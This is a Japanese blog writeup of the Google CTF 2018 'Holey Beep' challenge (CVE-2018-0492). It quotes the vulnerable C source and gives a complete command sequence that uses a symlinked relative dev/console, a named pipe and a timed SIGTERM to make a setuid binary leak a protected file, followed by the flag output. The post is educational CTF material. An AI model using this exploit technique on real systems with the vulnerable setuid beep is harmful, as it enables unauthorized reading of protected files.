進行中の何か

主にIT系の調べたこと。やったことをまとめます。

Google CTF 2018 Beginners Quest writeup 05

GoogleCTF 2018 Beginners Questを引き続き解いていきます。
今回もwriteupやプログラムを見ながら解いていきます。

Holey Beep[pwn]

前問のlsしたときにあったプログラムをうまく利用して/secret_cake_recipieを読み取れ!という問題
Holey Beep自体も脆弱性の名前だそうだ。

Holey Beep (CVE-2018-0492)

ひとまず前回の問題で作成したスクリプトを利用して調査開始。
/secret_cake_recipieとholey_beepの権限を確認。 もちろん権限が足りず読めない。

> $ ls -al
total 52
drwxr-xr-x 3 user   user     4096 Jun 29 14:38 .
drwxr-xr-x 4 nobody nogroup  4096 Jun  9 16:17 ..
-rw-r--r-- 1 user   user      220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 user   user     3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 user   user      655 May 16  2017 .profile
-r-sr-xr-x 1 admin  user     9000 Jun 20 14:05 holey_beep
-r-xr-xr-x 1 user   nogroup 18224 Jun 20 14:32 todo
drwxrwxrwt 2 user   user       80 Jul 21 21:31 todos
> $ ls -al /secret_cake_recipe 
-r-------- 1 admin nogroup 1257 Jun 20 14:05 /secret_cake_recipe
> $ cat /secret_cake_recipe
cat: /secret_cake_recipe: Permission denied

バイナリを与えられているのでそれを解析していく。
が、全然わからないので今回はソースコードアセンブルした結果を見ながら
自分で組み立てることを目標としていきます。

ソースコードは以下から取得できます。
google-ctf/holey_beep.c at master · google/google-ctf · GitHub

ソースコードから今回の攻略の方法を確認します。
1つ目のポイントは「/dev/console」ではなく、「dev/console」を指定しているところ
そのため、今回読みたいファイルである「/secret_cake_recipie」の
シンボリックリンクとしてdev/consoleを作ってしまえば問題ない。

  for (int i = 1; i < argc; i++) {
    device = open("dev/console", O_RDONLY);
    if (device < 0) {
      err(1, "open(\"dev/console\", O_RDONLY)");
}

ではどこで表示をするのか?というと if (signal(SIGTERM, handle_sigterm) == SIG_ERR) {で呼び出されている handle_sigterm関数で
最後deviceから読みだしたdebug_dataを表示している部分がある。
これを利用して/sercret_cake_recipeを表示する。

void handle_sigterm(int unused) {
  if (device >= 0) {
    if (ioctl(device, KIOCSOUND, 0) < 0) {
      fprintf(stderr, "ioctl(%d, KIOCSOUND, 0) failed.", device);
      char debug_data[1024] = {0};
      read(device, debug_data, sizeof(debug_data)-1);
      fprintf(stderr, "debug_data: \"%s\"", debug_data);
    }
  }
  exit(0);
}

これだけであればプログラムを実行しながらプロセスを確認し、
kill -15 process_idでよいのだが、
ioctl(device, KIOCSOUND, period) < 0でcloseする動作が入っているため
killするタイミングが非常にシビア。

    if (ioctl(device, KIOCSOUND, period) < 0) {
      fprintf(stderr, "ioctl(%d, KIOCSOUND, %d) failed.", device, period);
      close(device);
      continue;
}

行わないといけないことは以下2点
1. プログラムが終了するのをできるだけ遅くする。
2. 良いタイミングでkillする。

  1. を実現するためには引数の数をひたすら多くする。
    つまりholey_beepの引数に$(seq 1 10000)を与える。

  2. を実現するためにmkfifoを活用する。
    mkfifoで作られた名前つきパイプにはblock機能があり、
    書き込み側と読み込み側が両方実行されないと開かれないという機能を活用。

つまりholey_beepが書き込みを行っているpipeに対して
30秒後に読み込むよ!と設定しておくとその間書き込むのを待ってくれる。

上記をもとに打ち込むコマンドは

sh
# shellを起動
cd /tmp
# 書き込み可能なディレクトリへ移動
mkdir dev
# devディレクトリの作成
ln -s /secret_cake_recipe dev/console
# シンボリックリンクの作成
mkfifo fifo
# 名前付きパイプの作成
/home/user/holey_beep $(seq 1 10000) 2> fifo &
# 1~10000の引数に対してholey_beepを実行させる。
(sleep 30; cat - )< fifo &
# その間にfifoから読み出す動作を仕掛ける
pgrep holey_beep
# holey_beepのプロセスIDを調べる
kill -15 process_id
# プロセスをkillする。
# 出力されるのを待つ。

上記を前回のToDoリストで作ったプログラムを回して実行した結果が以下になります。 レシピとともにフラグが出力されています。

octl(4, KIOCSOUND, 2005) failed.ioctl(4, KIOCSOUND, 2006) failed.ioctl(4, KIOCSOUND, 2007) failed.ioctl(4, KIOCSOUND, 2008) failed.ioctl(4, KIOCSOUND, 2009) failed.ioctl(4, KIOCSOUND, 2010) failed.ioctl(4, KIOCSOUND, 2011) failed.ioctl(4, KIOCSOUND, 2012) failed.ioctl(4, KIOCSOUND, 2013) failed.ioctl(4, KIOCSOUND, 2014) failed.ioctl(4, KIOCSOUND, 2015) failed.ioctl(4, KIOCSOUND, 2016) failed.ioctl(4, KIOCSOUND, 2017) failed.ioctl(4, KIOCSOUND, 2018) failed.ioctl(4, KIOCSOUND, 0) failed.debug_data: "== Secret recipe for the CTF{the_cake_wasnt_a_lie} cake ==

The Pittsburgh Engineer’s Cake (This is the maximum of the final Gaussian Process model, trained
on all the Pittsburgh Trials, including transfer learning.)

    Mix together flour, baking soda, and cayenne pepper. Then, mix the sugar, egg, butter (near refrigerator
temperature), and other ingredients until nearly smooth; it takes about 2 minutes in a counter-top stand mixer
with a flat paddle blade. Add the dry ingredients and mix just until the dough is uniform; do not over-mix. Spoon
out onto parchment paper (we used a #40 scoop, 24 milliliters), and bake for 14 minutes at 175C (350◦
F).

• 167 grams of all-purpose flour.
• 186 grams of dark chocolate chips.
• 1/2 tsp. baking soda.
• 1/4 tsp. salt.
• 1/4 tsp. cayenne pepper.
• 262 grams of sugar (75% medium brown, 25% white).
• 30 grams of egg.
• 132 grams of butter.
• 3/8 tsp. orange extract.
• 1/2 tsp. vanilla extract.

https://research.google.com/pubs/archive/46507.pdf

flagはCTF{the_cake_wasnt_a_lie}でした。

見事ゴールにたどり着きました!
最後はケーキ型の花火が舞い上がりました!

f:id:pom_wip:20180725231628p:plain

残りのクエストと今回の問題を正攻法でバイナリから解くのに今後チャレンジします!


参考としたサイト

google-ctf/holey_beep.c at master · google/google-ctf · GitHub

Hacking Livestream #57: Google CTF 2018 Beginners Quest - YouTube

mkfifoコマンドって使ってますか?